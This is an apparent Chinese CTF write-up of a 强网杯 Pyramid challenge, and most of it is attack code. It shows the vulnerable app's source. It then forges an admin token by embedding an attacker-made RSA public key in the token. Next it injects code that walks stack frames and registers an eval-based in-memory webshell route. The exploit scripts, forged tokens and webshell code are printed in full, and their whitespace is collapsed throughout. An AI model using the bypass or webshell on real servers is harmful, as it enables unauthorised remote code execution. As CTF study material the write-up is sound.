当前位置: 首页 > news >正文

强网杯RS加密签名伪造及PyramidWeb利用栈帧打内存马

RS加密签名伪造及PyramidWeb利用栈帧打内存马

今年强网杯的一个新框架源代码如下

from wsgiref.simple_server import make_server
from pyramid.config import Configurator
from pyramid.events import NewResponse
from pyramid.response import Response
import utilusers = []
super_user = ["admin"]
default_alg = "RS"def register_api(request):try:username = request.params['username']if username in super_user:return Response("Not Allowed!")password = request.params['password']except:return Response('Please Input username & password', status="500 Internal Server")data = {"username": username, "password": password}users.append(data)token = util.data_encode(data, default_alg)return Response("Here is your token: "+ token)def register_front(request):return Response(util.read_html('register.html'))def front_test(request):eval()return Response(util.read_html('test.html'))def system_test(request):try:code = request.params['code']token = request.params['token']data = util.data_decode(token)if data:username = data['username']print(username)if username in super_user:print("Welcome super_user!")else:return Response('Unauthorized', status="401 Unauthorized")else:return Response('Unauthorized', status="401 Unauthorized")except:return Response('Please Input code & token')print(exec(code))return Response("Success!")if __name__ == '__main__':with Configurator() as config:config.add_route('register_front', '/')config.add_route('register_api', '/api/register')config.add_route('system_test', '/api/test')config.add_route('front_test', '/test')config.add_view(system_test, route_name='system_test')config.add_view(front_test, route_name='front_test')config.add_view(register_api, route_name='register_api')config.add_view(register_front, route_name='register_front')app = config.make_wsgi_app()server = make_server('0.0.0.0', 6543, app)server.serve_forever()

还有一个工具util.py

import base64
import json
import uuid
from Crypto.PublicKey import RSA
from Crypto.Signature import pkcs1_15
from Crypto.Hash import SHA256
import hashlibsecret = str(uuid.uuid4())def generate_keys():key = RSA.generate(2048)private_key = key.export_key()public_key = key.publickey().export_key()return private_key, public_keydef sign_data(private_key, data):rsakey = RSA.import_key(private_key)# 将JSON数据转换为字符串data_str = json.dumps(data)hash_obj = SHA256.new(data_str.encode('utf-8'))signature = pkcs1_15.new(rsakey).sign(hash_obj)return signaturedef verify_signature(secret, data, signature, alg):if alg == 'RS':rsakey = RSA.import_key(secret)# 将JSON数据转换为字符串data_str = json.dumps(data)hash_obj = SHA256.new(data_str.encode('utf-8'))try:pkcs1_15.new(rsakey).verify(hash_obj, signature)print("Signature is valid. Transmitted data:", data)return Trueexcept (ValueError, TypeError):print("Signature is invalid.")return Falseelif alg == 'HS':hash_object = hashlib.sha256()data_bytes = (json.dumps(data) + secret.decode()).encode('utf-8')print(data_bytes)hash_object.update(data_bytes)hex_dig = hash_object.hexdigest()if hex_dig == signature.decode():return Trueelse:return Falsedef data_encode(data, alg):if alg not in ['HS', 'RS']:raise "Algorithm must be HS or RS!"else:private_key, public_key = generate_keys()if alg == 'RS':signature = sign_data(private_key, data)data_bytes = json.dumps(data).encode('utf-8')encoded_data1 = base64.b64encode(data_bytes)  # dataencoded_data2 = base64.b64encode(signature)  # signatureprint(encoded_data2)encoded_data3 = base64.b64encode(alg.encode('utf-8'))  # algencoded_data4 = base64.b64encode(public_key)  # public_keyencoded_data = encoded_data1.decode() + '.' + encoded_data2.decode() + '.' + encoded_data3.decode() + '.' + encoded_data4.decode()print("The encoded data is: ", encoded_data)return encoded_dataelse:hash_object = hashlib.sha256()data_bytes = (json.dumps(data) + secret).encode('utf-8')inputdata = json.dumps(data).encode('utf-8')hash_object.update(data_bytes)hex_dig = hash_object.hexdigest()signature = base64.b64encode(hex_dig.encode('utf-8'))encoded_data1 = base64.b64encode(inputdata)  # dataencoded_data3 = base64.b64encode(alg.encode('utf-8'))  # algencoded_data = encoded_data1.decode() + '.' + signature.decode() + '.' + encoded_data3.decode()print("The encoded data is: ", encoded_data)return encoded_datadef data_decode(encode_data):try:all_data = encode_data.split('.')sig_bytes = all_data[1].replace(' ', '+').encode('utf-8')print(sig_bytes)data = base64.b64decode(all_data[0].replace(' ', '+')).decode('utf-8')json_data = json.loads(data)signature = base64.b64decode(sig_bytes)alg = base64.b64decode(all_data[2]).decode('utf-8')key = secretif len(all_data) == 4:key_bytes = all_data[3].replace(' ', '+').encode('utf-8')key = base64.b64decode(key_bytes)  # bytes# 验证签名is_valid = verify_signature(key, json_data, signature, alg)if is_valid:return json_dataelse:return Falseexcept:raise "something error"def read_html(filname):with open('C:\\Users\\86150\\Desktop\\attachment\\src\\static\\' + filname, 'r', encoding='utf-8') as file:# 读取文件内容html_content = file.read()return html_content

RS加密伪造

由以上源码发现首先需要伪造admin用户token才能进入test路由进行命令执行,但是由于RS算法的密钥是随机的我们不能够伪造admin

def generate_keys():  key = RSA.generate(2048)  private_key = key.export_key()  public_key = key.publickey().export_key()  return private_key, public_key

我们本地调试解密函数

def data_decode(encode_data):try:all_data = encode_data.split('.')sig_bytes = all_data[1].replace(' ', '+').encode('utf-8')print(sig_bytes)data = base64.b64decode(all_data[0].replace(' ', '+')).decode('utf-8')json_data = json.loads(data)signature = base64.b64decode(sig_bytes)alg = base64.b64decode(all_data[2]).decode('utf-8')key = secretif len(all_data) == 4:key_bytes = all_data[3].replace(' ', '+').encode('utf-8')key = base64.b64decode(key_bytes)  # bytes# 验证签名is_valid = verify_signature(key, json_data, signature, alg)if is_valid:return json_dataelse:return Falseexcept:raise "something error"

调试发现这个token的第四个字段很显然就是关键字段
如果存在就是自定义的key

这个key就是RSA的公钥

我们自己可控的字段,就可以伪造RSA的私钥和公钥来充当admin

import util
import base64
import json
import uuid
from Crypto.PublicKey import RSA
from Crypto.Signature import pkcs1_15
from Crypto.Hash import SHA256
import hashlibsecret = str(uuid.uuid4())def generate_keys():key = RSA.generate(2048)private_key = key.export_key()public_key = key.publickey().export_key()return private_key, public_keydef sign_data(private_key, data):rsakey = RSA.import_key(private_key)# 将JSON数据转换为字符串data_str = json.dumps(data)hash_obj = SHA256.new(data_str.encode('utf-8'))signature = pkcs1_15.new(rsakey).sign(hash_obj)return signaturedef data_encode(data, alg):if alg not in ['HS', 'RS']:raise "Algorithm must be HS or RS!"else:private_key, public_key = generate_keys()if alg == 'RS':signature = sign_data(private_key, data)data_bytes = json.dumps(data).encode('utf-8')encoded_data1 = base64.b64encode(data_bytes)  # dataencoded_data2 = base64.b64encode(signature)  # signatureencoded_data3 = base64.b64encode(alg.encode('utf-8'))  # algencoded_data4 = base64.b64encode(public_key)  # public_keyencoded_data = encoded_data1.decode() + '.' + encoded_data2.decode() + '.' + encoded_data3.decode() + '.' + encoded_data4.decode()return encoded_dataelse:hash_object = hashlib.sha256()data_bytes = (json.dumps(data) + secret).encode('utf-8')inputdata = json.dumps(data).encode('utf-8')hash_object.update(data_bytes)hex_dig = hash_object.hexdigest()signature = base64.b64encode(hex_dig.encode('utf-8'))encoded_data1 = base64.b64encode(inputdata)  # dataencoded_data3 = base64.b64encode(alg.encode('utf-8'))  # algencoded_data = encoded_data1.decode() + '.' + signature.decode() + '.' + encoded_data3.decode()print("The encoded data is: ", encoded_data)return encoded_datapri,pub = generate_keys()data = {"username": "admin", "password": "password"}token =data_encode(data, 'RS')
print(token)

生成签名如下

eyJ1c2VybmFtZSI6ICJhc2QiLCAicGFzc3dvcmQiOiAiYXNkIn0=.eEcoFIFpoy5KcN7xwor+UGsbhTuNYc7C2cEllC2g3xj0h+35bcKvuEJQCfTsFsSG3gX2Ij22ZrCgQgQK/oU8oCIaKY9psHbdFEOvgcTIvJ3oT04gmJlPjC80akNC/TG9CmrrT0DI6hPFkIHQejZxW2T5/0AHMJuN/DvsjAdTRH8If0/aK9XjX6m285q8Buj07PZRFNZB5A2Kr50yIuyeeVdhH4OXpAp+4BCbFVwT1WSbCf8A==.UlM=.LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUF1Rzhld0TZLQjU5TUZvck1hZjNhODNsdisrVzk3aFFKbjkyU0RMYkNjY1psS3A5QVk0Nzl1WS90UUt0ZHRMCmJEWkVBQU8wVG5nS3k4cGIvQU5EL28wemRHTnpxYUVpTzZ2YW1FOGNScDZPS241aEkvRFY1aFJiSG81dUJ3WHMKaHdJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0t

利用栈帧打Pyramid WEB框架下的内存马

测试发现不出网无回显
我们只探索Pyramid WEB新框架下的内存马 发现是通过pyramid.config来生成的

先寻找一些Pyramid框架下的添加路由

>>> from pyramid.config import Configurator
>>> dir(Configurator())

我们发现里面关键函数有

add_view   add_route

注册路由用法如下

def register_front(request):  return Response(util.read_html('register.html'))with Configurator() as config:  config.add_route('register_front', '/')  config.add_route('register_api', '/api/register')  config.add_route('system_test', '/api/test')  config.add_route('front_test', '/test')  config.add_view(system_test, route_name='system_test')  config.add_view(front_test, route_name='front_test')  config.add_view(register_api, route_name='register_api')  config.add_view(register_front, route_name='register_front')  app = config.make_wsgi_app()

我们构造自己的内存马首先要获取到栈帧的globals全局才能拿到当前的app config

编写脚本如下

import requests
from urllib.parse import quote
code='''def waff():def f():yield g.gi_frame.f_backg = f()             frame = next(g)     b = frame.f_back.f_back.f_globalsprint(b)waff()
'''code1="print(1)"
burp0_url = "http://127.0.0.1:6543/api/test?code="+code+"&token=eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwYXNzd29yZCI6ICIxMjM0NTYifQ%3D%3D.Z5LpNETpFxdzqwhuSwp762ebRWcYzKBWCL5zrymkRlSJ4Lvl%2BAysBf1d8NIRmFQRJ0P3ceKEpn7rGGUpICNmQ9yYf77FHJcVX2hJQ4YodabxiavEMlgYkeDelNPgmohkG%2F3sk8CqPKkY41cRlhVrBPZJn2AInLkEIyW5yt1CRo0NWDndTl4v6eRTu3JtG9FXUs3O8hzeuqBsnzDS%2Fih3dEzWXzGxj%2B90UOOPDlJdnaBj22b4oIoMKVbYNuJFkAjqbCW8dVdLxX35VVonnFW5VfJ7tcepTt1irmtnL%2FEgVb94yqAr3YtJRSIRHJr79t46PLs8bpG9m3kOjtwtxrUz9g%3D%3D.UlM%3D.LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFwemJKUWRqWlEyL3pGeFVZc2I2YQo4YnljREhtSzQ2QXpaa25aQXJxMFFKekE5Ri9EWXFxRk5KanpTeHk0WmZqbmk4TlprRmduM2REWXdCU0JUWjZKClc3VW1waWVDZXcza3o5cy9GMENRdUxCY0dKMTd0M2RPVWRRVVpSVnJXUkhBeE1aL0Y2VFFSUWMvUkFVQy9qRmUKWGVYWTBIeFFydyt6amVJeWNCNlcyeGdZUDlxU0RXNHZYeWFrb1pRZXZiZmhHc3dVQWU3Vm5jQ3FuYnBPZk5tZQphZXdwRTd0b3NoSWpOSWFiN3d5RW9zQzY0RGhGU2tsNS9qZ0ZyVFVheC84OERueDJzYzgzL3hHWFVyY0tDajB3CmdQRVhmTFdGc2NLbzRtdzFNaHhGWE5SZEZDdDFHMVM3eTd6WkdESklQRXhQbEFJSE05RzNSWFd5WDlXbm5xUzQKSlFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0t"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate, br", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Sec-Fetch-Dest": "document", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-Site": "none", "Sec-Fetch-User": "?1", "Priority": "u=0, i"}
res=requests.get(burp0_url, headers=burp0_headers)
print(res.text)

成功拿到栈帧中的全局变量

接下来就是注册路由添加内存马,我们通过定义路由函数仿照源代码中写内存马

def hello(request):code = request.params['code']res=eval(code)return Response(res)config.add_route('shellb', '/shellb')
config.add_view(hello, route_name='shellb')
config.commit()

编写脚本如下

import requests
from urllib.parse import quote
code='''def waff():def f():yield g.gi_frame.f_backg = f()             frame = next(g)     b = frame.f_back.f_back.f_globalsdef hello(request):code = request.params['code']res=eval(code)return Response(res)config.add_route('shellb', '/shellb')config.add_view(hello, route_name='shellb')waff()
'''burp0_url = "http://127.0.0.1:6543/api/test?code="+code+"&token=eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwYXNzd29yZCI6ICIxMjM0NTYifQ%3D%3D.Z5LpNETpFxdzqwhuSwp762ebRWcYzKBWk8CqPKkY41cRlhVrBPZJn2AInLkEIyW5yt1CRo0NWDndTl4v6eRTu3JtG9FXUs3O8hzeuqBsnzDS%2Fih3dEzWXzGxj%2B90UOOPDlJdnaBj22b4oIoMKVbYNuJFkAjqbCW8dVdLxX35VVonnFW5VfJ7tcepTt1irmtnL%2FEgVb94yqAr3YtJRSIRHJr79t46PLs8bpG9m3kOjtwtxrUz9g%3D%3D.UlM%3D.LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQVQy9qRmUKWGVYWTBIeFFydyt6amVJeWNCNlcyeGdZUDlxU0RXNHZYeWFrb1pRZXZiZmhHc3dVQWU3Vm5jQ3FuYnBPZk5tZQphZXdwRTd0b3NoSWpOSWFiN3d5RW9zQzY0RGhGU2tsNS9qZ0ZyVFVheC84OERueDJzYzgzL3hHWFVyY0tDajB3CmdQRVhmTFdGc2NLbzRtdzFNaHhGWE5SZEZDdDFHMVM3eTd6WkdESklQRXhQbEFJSE05RzNSWFd5WDlXbm5xUzQKSlFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0t"res=requests.get(burp0_url)
print(res.text)

但是发现并没有注册上路由,访问还是404,难点就在这里折磨了好久,猜测原因是,配置好路由之后才注册的app,注册好之后就不能添加路由了

config.add_view(register_api, route_name='register_api')config.add_view(register_front, route_name='register_front')app = config.make_wsgi_app()

查看 pyramid.config官方手册找函数发现一个commit函数

提交任何待处理的配置操作。如果配置 在 pending 配置操作中检测到冲突,此方法 将引发 ;在 traceback 中 的 this 错误将是有关冲突来源的信息

那么我们便可以在添加路由后进行commit就可以成功添加

import requests
from urllib.parse import quote
code='''def waff():def f():yield g.gi_frame.f_backg = f()             frame = next(g)     b = frame.f_back.f_back.f_globalsdef hello(request):code = request.params['code']res=eval(code)return Response(res)config.add_route('shellb', '/shellb')config.add_view(hello, route_name='shellb')config.commit()waff()
'''burp0_url = "http://127.0.0.1:6543/api/test?code="+code+"&token=eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwYXNzd29yZCI6ICIxMjM0NTYifQ%3D%3D.Z5LpNETpFxdzqwhuSwp762ebRWcYzKBWCL5zrymkRlSJ4Lvl%2BAysBf1d8NIRmFQRJ0P3ceKEpn7rGGUpICNmQ9yYf77FHJcVX2hJQ4YodabxiavEMlgYkeDelNPgmohkG%2F3sk8CqPKkY41cRlhVrBPZJn2AInLkEIyW5yt1CRo0NWDndTl4v6eRTu3JtG9FXUs3O8hzeuqBsnzDS%2Fih3dEzWXzGxj%2Q0FROEFNSUlCQ2dLQ0FRRUFwemJKUWRqWlEyL3pGeFVZc2I2YQo4YnljREhtSzQ2QXpaa25aQXJxMFFKekE5Ri9EWXFxRk5KanpTeHk0WmZqbmk4TlprRmduM2REWXdCU0JUWjZKClc3VW1waWVDZXcza3o5cy9GMENRdUxCY0dKMTd0M2RPVWRRVVpSVnJXUkhBeE1aL0Y2VFFSUWMvUkFVQy9qRmUKWGVYWTBIeFFydyt6amVJeWNCNlcyeGdZUDlxU0RXNHZYeWFrb1pRZXZiZmhHc3dVQWU3Vm5jQ3FuYnBPZk5tZQphZXdwRTd0b3NoSWpOSWFiN3d5RW9zQzY0RGhGU2tsNS9qZ0ZyVFVheC84OERueDJzYzgzL3hHWFVyY0tDajB3CmdQRVhmTFdGc2NLbzRtdzFNaHhGWE5SZEZDdDFHMVM3eTd6WkdESklQRXhQbEFJSE05RzNSWFd5WDlXbm5xUzQKSlFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0t"res=requests.get(burp0_url)
print(res.text)

成功执行命令

相关文章:

强网杯RS加密签名伪造及PyramidWeb利用栈帧打内存马

RS加密签名伪造及PyramidWeb利用栈帧打内存马 今年强网杯的一个新框架源代码如下 from wsgiref.simple_server import make_server from pyramid.config import Configurator from pyramid.events import NewResponse from pyramid.response import Response import utiluser…...

Java基础——概念和常识(语言特点、JVM、JDK、JRE、AOT/JIT等介绍)

我是一个计算机专业研0的学生卡蒙Camel🐫🐫🐫(刚保研) 记录每天学习过程(主要学习Java、python、人工智能),总结知识点(内容来自:自我总结网上借鉴&#xff0…...

搭建Node.js后端

从头开始搭建一个Node.js后端,并实现查询历史数据的功能,下面是详细的步骤说明,包括环境配置、项目初始化、代码编写、以及服务器启动。 1. 环境配置 1.1 安装 Node.js 和 npm 首先,你需要在你的电脑上安装 Node.js 和 npm&…...

RV1126+FFMPEG推流项目(9)AI和AENC模块绑定,并且开启线程采集

前面两篇已经交代AI和AENC模块的配置,这篇就让这两个模块绑定起来,绑定的原因是,Aenc从Ai模块拿到采集的原始数据进行编码。 使用 RK_MPI_SYS_Bind 把 AI 节点和 AENC 进行绑定,其中 enModId 是模块 ID 号选择的是 RK_ID_AI、s32C…...

vue编写一个可拖动的模块,并可以和任何其他组件组合使用

实现思路&#xff1a; 使用 Vue 的自定义指令&#xff08;directive&#xff09;来处理拖动逻辑。在 mounted 钩子中添加鼠标事件监听器&#xff0c;以实现拖动功能。在 unmounted 钩子中移除鼠标事件监听器&#xff0c;防止内存泄漏。 代码示例&#xff1a; <template&g…...

Spring6.0新特性-HTTP接口:使用@HttpExchange实现更优雅的Http客户端

文章目录 一、概述二、使用1、创建接口HttpExchange方法2、创建一个在调用方法时执行请求的代理3、方法参数4、返回值5、错误处理&#xff08;1&#xff09;为RestClient&#xff08;2&#xff09;为WebClient&#xff08;3&#xff09;为RestTemplate 注意 一、概述 官方文档…...

【蓝桥杯】Python算法——求逆元的两种算法

目录 零、前言一、逆元二、扩展欧几里得算法三、费马小定理四、总结 零、前言 距离25年蓝桥杯还有大概三个月时间&#xff0c;接下来重点应该会放在蓝桥杯备考方向&#xff0c;一起努力&#xff0c;一起加油 一、逆元 什么是逆元&#xff1f;这是数论中的一个基本概念。如果存…...

音频语言模型与多模态体系结构

音频语言模型与多模态体系结构 多模态模型正在创造语言、视觉和语音等以前独立的研究领域的协同效应。这些模型使用通用架构,将每种模式视为不同的“token”,使它们能够以一种与人类认知非常相似的方式联合建模和理解世界。 ​ ​可以将多模态分为两个主要领域:输入空间(…...

Redis的安装和配置、基本命令

一、实验目的 本实验旨在帮助学生熟悉Redis的安装、配置和基本使用&#xff0c;包括启动Redis服务、使用命令行客户端进行操作、配置Redis、进行多数据库操作以及掌握键值相关和服务器相关的命令。 二、实验环境准备 1. JAVA环境准备&#xff1a;确保Java Development Kit …...

2025.1.17——三、SQLi regexp正则表达式|

题目来源&#xff1a;buuctf [NCTF2019]SQLi1 目录 一、打开靶机&#xff0c;整理信息 二、解题思路 step 1&#xff1a;正常注入 step 2&#xff1a;弄清关键字黑名单 1.目录扫描 2.bp爆破 step 3&#xff1a;根据过滤名单构造payload step 4&#xff1a;regexp正则注…...

flutter 常用UI组件

文章目录 1. Toast 文本提示框oktoastbot_toast2. loading 加载窗flutter_easyloading3. 对话框gex dialog4.下拉刷新pull_to_refresh5. pop 窗custom_pop_up_menu6. pin code 密码框pinput7. 二维码qr_flutter8. swiper 滚动组件carousel_sliderflutter_swiper_view9. Badge 角…...

基于微信小程序的健身房预约管理系统

作者&#xff1a;计算机学姐 开发技术&#xff1a;SpringBoot、SSM、Vue、MySQL、JSP、ElementUI、Python、小程序等&#xff0c;“文末源码”。 专栏推荐&#xff1a;前后端分离项目源码、SpringBoot项目源码、Vue项目源码、SSM项目源码、微信小程序源码 精品专栏&#xff1a;…...

Windows远程桌面网关出现重大漏洞

微软披露了其Windows远程桌面网关&#xff08;RD Gateway&#xff09;中的一个重大漏洞&#xff0c;该漏洞可能允许攻击者利用竞争条件&#xff0c;导致拒绝服务&#xff08;DoS&#xff09;攻击。该漏洞被标识为CVE-2025-21225&#xff0c;已在2025年1月的补丁星期二更新中得到…...

如何学习Transformer架构

Transformer架构自提出以来&#xff0c;在自然语言处理领域引发了革命性的变化。作为一种基于注意力机制的模型&#xff0c;Transformer解决了传统序列模型在并行化和长距离依赖方面的局限性。本文将探讨Transformer论文《Attention is All You Need》与Hugging Face Transform…...

RPA赋能内容创作:打造小红书入门词语图片的全自动化流程

&#x1f31f; 嗨&#xff0c;我是LucianaiB&#xff01; &#x1f30d; 总有人间一两风&#xff0c;填我十万八千梦。 &#x1f680; 路漫漫其修远兮&#xff0c;吾将上下而求索。 用RPA全自动化批量生产【入门词语】图片做小红书商单&#xff0c;保姆级工具开发教程 最近由…...

Quantum supremacy using a programmable superconducting processor 全文翻译,配公式和图

2019年&#xff0c;谷歌的量子霸权文章&#xff0c; 原文链接&#xff1a; https://www.nature.com/articles/s41586-019-1666-5 第一稿&#xff0c;公式和视图后续再加 。。。 Quantum supremacy using a programmable superconducting processor 使用可编程超导处理器的量…...

Jupyter notebook中运行dos指令运行方法

Jupyter notebook中运行dos指令运行方法 目录 Jupyter notebook中运行dos指令运行方法一、DOS(磁盘操作系统&#xff09;指令介绍1.1 DOS介绍1.2 DOS指令1.2.1 DIR - 显示当前目录下的文件和子目录列表。1.2.2 CD 或 CHDIR - 改变当前目录1.2.3 使用 CD .. 可以返回上一级目录1…...

个人vue3-学习笔记

声明:这只是我个人的学习笔记(黑马),供以后复习用 。一天学一点,随时学随时更新。明天会更好的! 这里只给代码,不给运行结果,看不出来代码的作用我也该进厂了。。。。。 Day1 使用create-vue创建项目。 1.检查版本。 node -v 2.创建项目 npm init vue@latest 可…...

Ubuntu安装搜狗输入法

Ubuntu安装搜狗输入法 官网完整安装步骤调整默认输入法 官网 搜狗输入法 - 官网&#xff1a;https://shurufa.sogou.com/ 搜狗输入法Linux版 - 首页&#xff1a;https://shurufa.sogou.com/linux 搜狗输入法Linux版 - 安装指南&#xff1a;https://shurufa.sogou.com/linux/gu…...

【C】链表算法题2 -- 反转链表

leetcode链接https://leetcode.cn/problems/reverse-linked-list/description/https://leetcode.cn/problems/reverse-linked-list/description/https://leetcode.cn/problems/reverse-linked-list/description/https://leetcode.cn/problems/reverse-linked-list/description/…...

1.7 ChatGPT:引领AI对话革命的致胜之道

ChatGPT:引领AI对话革命的致胜之道 随着人工智能(AI)技术的迅猛发展,特别是在自然语言处理(NLP)领域,OpenAI 的 ChatGPT 已经成为了举世瞩目的技术突破。从普通的自动化客服到深入的创作与协作,ChatGPT 通过其卓越的语言理解和生成能力,改变了人们与计算机交互的方式…...

当设置dialog中有el-table时,并设置el-table区域的滚动,看到el-table中多了一条横线

问题&#xff1a;当设置dialog中有el-table时&#xff0c;并设置el-table区域的滚动&#xff0c;看到el-table中多了一条横线&#xff1b; 原因&#xff1a;el-table有一个before的伪元素作为表格的下边框下&#xff0c;初始的时候已设置&#xff0c;在滚动的时候并没有重新设置…...

如何使用 useMemo 和 memo 优化 React 应用性能?

使用 useMemo 和 memo 优化 React 应用性能 在构建复杂的 React 应用时&#xff0c;性能优化是确保应用流畅运行的关键。React 提供了多种工具来帮助开发者优化组件的渲染和计算逻辑&#xff0c;其中 useMemo 和 memo 是两个非常有用的 Hook。本文将详细介绍这两个工具的使用方…...

turtle教学课程课堂学习考试在线网站

完整源码项目包获取→点击文章末尾名片&#xff01;...

spark任务优化参数整理

以下参数中有sql字眼的一般只有spark-sql模块生效&#xff0c;如果你看过spark的源码&#xff0c;你会发现sql模块是在core模块上硬生生干了一层&#xff0c;所以反过来spark-sql可以复用core模块的配置&#xff0c;例外的时候会另行说明&#xff0c;此外由于总结这些参数是在不…...

TCP TIME-WAIT 状态为什么要坚持 2MSL

经常有人问这个问题&#xff0c;这种问题问我就对了。我准备了下面的一幅时序图来解释这个问题&#xff1a; 简单点说就是两个目的&#xff1a; 正常处理被动关闭方的重传 FIN&#xff1b;确保当前连接的所有报文全部消失。 也就是说&#xff0c;无论任何情况下&#xff0c;…...

如何在Ubuntu上安装Cmake

前言 ​ 本文主要阐述如何在Ubuntu22.04上面安装cmake&#xff0c;具体可看下面的操作。 正文 一、环境 Ubuntu22.04 cmake-3.31.4.tar.gz 二、步骤 参考这个方案&#xff1a; 【运维】Ubuntu如何安装最新版本的Cmake&#xff0c;编译安装Cmake&#xff0c;直接命令安装…...

1.17学习

crypto nssctf-[SWPUCTF 2021 新生赛]crypto8 不太认识这是什么编码&#xff0c;搜索一下发现是一个UUENCODE编码&#xff0c;用在线工具UUENCODE解码计算器—LZL在线工具解码就好 misc buuctf-文件中的秘密 下载附件打开后发现是一个图片&#xff0c;应该是一个图片隐写&…...

力扣 搜索二维矩阵

二分查找&#xff0c;闭区间与开区间的不同解法。 题目 乍一看&#xff0c;不是遍历一下找到元素就可以了。 class Solution {public boolean searchMatrix(int[][] matrix, int target) {for (int[] ints : matrix) {for (int ans : ints) {if (ans target) return true;}}…...

RabbitMQ基础篇

文章目录 1 RabbitMQ概述1.1 消息队列1.2 RabbitMQ体系结构 2 RabbitMQ工作模式2.1 简单模式&#xff08;Simple Queue&#xff09;2.2 工作队列模式&#xff08;Work Queues&#xff09;2.3 发布/订阅模式&#xff08;Publish/Subscribe&#xff09;2.4 路由模式&#xff08;R…...

【springboot】Spring 官方抛弃了 Java 8!新idea如何创建java8项目

解决idea至少创建jdk17项目 问题 idea现在只能创建最少jdk17&#xff0c;不能创建java8了吗?解决 问题 idea现在只能创建最少jdk17&#xff0c;不能创建java8了吗 我本来以为是 IDEA 版本更新导致的 Bug&#xff0c;开始还没在意。 直到我今天自己初始化项目时才发现&am…...

[BrainShadow-V1] VR头戴设备统计报告

Brain-Shadow-V1 EventVR headsetsReported byXiao enDate2025/01/15Version1.0 HTC Vive Pro 2 Pro HTC Vive Pro 2 是一款高端虚拟现实头显&#xff0c;配备双 2.5K 显示屏&#xff0c;组合分辨率达到 48962448&#xff0c;提供 120 的视场角和 120Hz 的刷新率。该设备支持…...

RK3568 Android11 锁屏界面屏蔽下拉状态栏

参考文章&#xff1a; Android R锁屏界面屏蔽下拉状态栏_pulseexpansionhandler-CSDN博客 前提增加状态栏控制显隐属性&#xff0c;以下面文章为前提补充功能 RK3568 Android11 状态栏和导航栏增加显示控制功能-CSDN博客 修改文件位置&#xff1a; frameworks/base/package…...

53,【3】BUUCTF WEB october 2019 Twice SQLinjection

题目得到信息&#xff0c;2次注入&#xff0c;进入靶场 登录页面&#xff0c;很自然想到SQL 第一次注入应该是这个可以登录&#xff0c;注册&#xff0c;提交简介的页面 第二次注入应该是在info处注入&#xff0c;信息显示在简介处 我真的纯脑子有病&#xff0c;人家二次注入不…...

利用硬盘虚拟内存解决华为手机模拟器运行内存不足问题

在进行鸿蒙开发时&#xff0c;华为手机模拟器是必不可少的工具。然而&#xff0c;对于只有 8GB 物理内存的电脑来说&#xff0c;运行模拟器可能会遇到 "系统内存不足" 的提示&#xff0c;导致模拟器无法正常启动。这时&#xff0c;我们可以通过硬盘虚拟出额外的内存来…...

探秘Shortest与Stagehand:开启高效测试与自动化新篇

探秘Shortest与Stagehand&#xff1a;开启高效测试与自动化新篇 在数字化浪潮的推动下&#xff0c;网页自动化工具如同繁星般涌现&#xff0c;为众多行业带来了效率的变革。在这些工具中&#xff0c;Shortest和Stagehand凭借其出色的表现&#xff0c;成为了众多开发者、测试人…...

网络安全构成要素

一、防火墙 组织机构内部的网络与互联网相连时&#xff0c;为了避免域内受到非法访问的威胁&#xff0c;往往会设置防火墙。 使用NAT&#xff08;NAPT&#xff09;的情况下&#xff0c;由于限定了可以从外部访问的地址&#xff0c;因此也能起到防火墙的作用。 二、IDS入侵检…...

家政服务小程序,打造智慧家政新体验

春节即将来临&#xff0c;家政市场呈现出了火热的场景&#xff0c;大众对家政服务的需求持续增加。 近年来&#xff0c;家政市场开始倾向数字化、智能化&#xff0c;借助科学技术打造家政数字化平台&#xff0c;让大众在手机上就可以预约家政服务&#xff0c;减少传统家政市场…...

2.使用Spring BootSpring AI快速构建AI应用程序

Spring AI 是基于 Spring Boot3.x 框架构建&#xff0c;Spring Boot官方提供了非常便捷的工具Spring Initializr帮助开发者快速的搭建Spring Boot应用程序,IDEA也集成了此工具。本文使用的开发工具IDEASpring Boot 3.4Spring AI 1.0.0-SNAPSHOTMaven。 1.创建Spring Boot项目 …...

OpenCV实战-全景图像拼接

代码地址见文末 实现效果 1. 项目背景 随着计算机视觉技术的不断发展&#xff0c;图像拼接技术已被广泛应用于虚拟现实、地图生成、全景摄影等领域。图像拼接&#xff08;Image Stitching&#xff09;旨在将多张部分重叠的图像无缝拼接成一幅完整的全景图像。此任务要求图像处…...

h5使用video播放时关掉vant弹窗视频声音还在后台播放

现象&#xff1a; 1、点击遮罩弹窗关闭&#xff0c;弹窗的视频已经用v-if销毁&#xff0c;但是后台会自己从头开始播放视频声音。但是此时已经没有视频dom 2、定时器在打开弹窗后3秒自动关闭弹窗&#xff0c;则正常没有问题。 原来的代码&#xff1a; //页面 <a click&quo…...

解决leetcode第3418题机器人可以获得的最大金币数

3418.机器人可以获得的最大金币数 难度&#xff1a;中等 问题描述&#xff1a; 给你一个mxn的网格。一个机器人从网格的左上角(0,0)出发&#xff0c;目标是到达网格的右下角(m-1,n-1)。在任意时刻&#xff0c;机器人只能向右或向下移动。 网格中的每个单元格包含一个值coin…...

anaconda安装和环境配置

